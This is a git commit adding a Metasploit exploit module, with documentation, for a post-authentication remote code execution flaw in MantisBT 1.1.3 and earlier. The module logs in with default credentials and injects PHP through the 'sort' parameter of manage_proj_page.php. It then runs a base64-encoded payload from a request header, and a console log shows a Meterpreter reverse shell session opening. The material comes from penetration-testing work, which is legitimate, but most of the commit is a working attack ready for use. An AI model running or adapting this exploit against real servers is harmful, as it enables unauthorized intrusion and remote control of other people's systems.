Add MSF module for EDB 6768

GSoC/Meterpreter_Web_Console
Lars Sorenson 2018-04-14 08:51:51 -04:00
parent 47a324815d
commit 27ded57cda
2 changed files with 167 additions and 0 deletions

View File

@ -0,0 +1,44 @@
## Vulnerable Application
Mantis Bug Tracker versions 1.1.3 and earlier are vulnerable to a post-authentication Remote Code Execution vulnerability. The `manage_proj_page.php` file passes the `$_GET['sort']` parameter to `/core/utility_api.php`'s `multi_sort()` function as parameter `$p_key`, which then passes it (unsanitized) to the `create_function()` as part of the payload `"return $t_factor * strnatcasecmp( \$a['$p_key'], \$b['$p_key'] );"`. A properly formatted `sort` param can escape and inject arbitrary PHP, which is then used to cradle and execute a PHP meterpreter payload. This has been tested from v1.0.0 to v1.1.3.
## Verification Steps
1. Download and install [mantis 1.1.3](https://www.exploit-db.com/apps/9d9079342cea8392a80d47d22b4b6d42-mantisbt-release-1.1.3.tar.gz)
2. `use exploit/multi/http/mantisbt_manage_proj_page_rce`
3. `set RHOST IP`
4. `set TARGETURI /`
5. `set USERNAME administrator`
6. `set PASSWORD root`
7. `set PAYLOAD php/meterpreter/reverse_tcp`
8. `set LHOST IP`
9. `exploit`
10. **Verify** a new Meterpreter session is started
## Scenarios
### MantisBT v1.1.3 on Debian
```
msf > use exploit/multi/http/mantisbt_manage_proj_page_rce
msf exploit(multi/http/mantisbt_manage_proj_page_rce) > set RHOST localhost
RHOST => localhost
msf exploit(multi/http/mantisbt_manage_proj_page_rce) > set RPORT 8000
RPORT => 8000
msf exploit(multi/http/mantisbt_manage_proj_page_rce) > set TARGETURI /
TARGETURI => /
msf exploit(multi/http/mantisbt_manage_proj_page_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(multi/http/mantisbt_manage_proj_page_rce) > run
[!] You are binding to a loopback address by setting LHOST to ::1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on ::1:4444
[*] Checking Mantis version ...
[*] Mantis version 1.1.3 detected
[*] Sending payload ...
[*] Logging in as administrator:root
[*] Sending stage (37775 bytes) to ::1
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (::1:4444 -> ::1:48182) at 2018-04-14 07:14:00 -0400
```

View File

@ -0,0 +1,123 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Mantis v1.1.3 Remote Code Execution',
'Description' => %q{
Mantis v1.1.3 and earlier is vulnerable to a post-authentication Remote Code Execution vulnerability in the sort parameter of the manage_proj_page.php page.
},
'Author' => [
'EgiX', # Exploit-DB Entry Author
'Lars Sorenson' # MSF module author
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '6768'],
['URL', 'https://www.exploit-db.com/exploits/6768/'],
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Mantis <= 1.1.3', { } ],
],
'DisclosureDate' => 'Oct 16, 2008',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the Mantis installation', '/mantisbt/']),
OptString.new('USERNAME', [true, 'The username to log in as', 'administrator']),
OptString.new('PASSWORD', [true, 'The password to log in with', 'root']),
Opt::RPORT(80)
])
end
def check
print_status('Checking Mantis version ...')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
'method' => 'GET'
})
unless res
print_error('Connection to host failed!')
return CheckCode::Unknown
end
unless res.body =~ /Mantis ([0-9]+).([0-9]+).([0-9]+)/
print_error('Cannot determine Mantis version!')
return CheckCode::Unknown
end
major = Regexp.last_match[1]
minor = Regexp.last_match[2]
rev = Regexp.last_match[3]
print_status("Mantis version #{major}.#{minor}.#{rev} detected")
unless res.code == 200 && (major.to_i > 1 || minor.to_i > 1 || (minor.to_i == 1 && rev.to_i > 3))
return CheckCode::Appears
end
CheckCode::Safe
end
def login
print_status("Logging in as #{datastore['username']}:#{datastore['password']} ... ")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
})
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login.php'),
'method' => 'POST',
'vars_post' => {
'username': datastore['username'],
'password': datastore['password']
},
'headers' => {
'Cookie': "PHPSESSID=#{res.get_cookies}"
}
})
fail_with(Failure::NoAccess, 'Login failed!') unless res && res.code == 302
fail_with(Failure::NoAccess, 'Wrong credentials!') unless res && !res.redirection.to_s.include?('login_page.php')
res.get_cookies
end
def exploit
fail_with(Failure::NotVulnerable, 'Target is not vulnerable!') unless check == CheckCode::Appears
cookie = login
print_status('Sending payload ...')
payload_clean = payload.encoded.gsub(/(\s+)|(#.*)/, '')
payload_b64 = Rex::Text.encode_base64(payload_clean)
data = {
'sort' => "']);}error_reporting(0);print(_code_);eval(base64_decode(\$_SERVER[HTTP_CMD]));die();%23",
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'manage_proj_page.php'),
'method' => 'GET',
'vars_get' => data,
'headers' => {
'Connection': 'close',
'Cookie': "#{cookie}",
'Cmd': payload_b64
},
'encode_params' => false,
})
unless res.nil?
fail_with(Failure::NoAccess, 'Host disconnected during exploit!')
end
end
end